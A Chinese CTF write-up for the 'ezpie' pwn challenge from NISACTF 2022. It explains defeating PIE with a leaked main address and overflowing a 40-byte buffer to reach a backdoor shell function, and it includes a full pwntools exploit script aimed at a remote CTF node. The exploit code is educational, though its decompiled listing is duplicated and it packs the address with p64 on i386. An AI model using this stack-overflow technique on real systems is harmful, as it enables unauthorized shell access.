当前位置: 首页 > news >正文

[NISACTF 2022]ezpie

第一次打CTF——PWN篇学习笔记14

这道题开启了PIE保护,但程序中直接泄露了main函数的随机地址,因此我们可以进行直接计算

int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); }

又发现栈溢出和后门函数,且main函数地址为0x770,shell函数地址为0x80F,据此编写脚本,即可得到flag

from pwn import * import struct ​ context.arch = 'i386' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",23609) ​ io.recvuntil(b"OHHH!,give you a gift!\n") ​ main = int(io.recvline().strip(), 16) ​ backdoor = main - 0x770 + 0x80F ​ payload = cyclic(0x28 + 4) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
http://www.jsqmd.com/news/99006/

相关文章:

  • 总结金属基覆铜板绝缘层失效原因-PCB工程师必看
  • PCB层压不良原因是什么?
  • 高频PCB层压那些特殊要求,90%工程师都不知道!
  • Dify变量注入实现上下文动态传递
  • RDMA设计18:队列管理模块设计3
  • YashanDB数据库的容器化部署探索
  • Excalidraw:开源手绘风格白板工具详解
  • 2025年卡式龙骨供应商权威推荐榜单:隔墙龙骨/传统龙骨/吊顶龙骨源头厂家精选 - 品牌推荐官
  • C语言之小A的糖果
  • Qwen3-VL-8B与OCR结合实现精准图文理解
  • ComfyUI ACE-Step:用AI轻松创作多风格音乐
  • YashanDB数据库的权限管理体系及安全最佳实践
  • EmotiVoice:开源的情感化TTS语音引擎
  • 新代
  • Ubuntu24中ISO文件制作工具
  • 【Science】曹晓风/张宪省/赵忠等点评!杨卫兵研究团队破解植物干细胞命运的“细胞壁密码”
  • GEO优化不踩坑:不同规模企业的服务商选择与落地干货 - bykj8888
  • Dify入门指南:快速构建生成式AI应用
  • 单菌基因组数据分析文献和教程集锦
  • Kotaemon从入门到精通:核心用法与实战
  • TensorRT-LLM模型导出详解(v0.20.0rc3)
  • 2025家用美颜吸顶灯选购全攻略:揭秘化妆显白、拍照自然与视频肤色通透的照明黑科技 - 阿喂嘞lvv
  • Langflow中Prompt技术的底层实现解析
  • 大模型时代的技术从业者:核心能力重构与实践路径
  • 告别社区店促销困局:用数据解锁老客复购新路径
  • 怎么将windows文件显示的Comments列一直显示出来
  • GAN基础与应用:从原理到前沿模型解析
  • Dify本地部署完整教程
  • GEO优化:行业认知与头部服务商选型指南 - bykj8888
  • 技术转管理了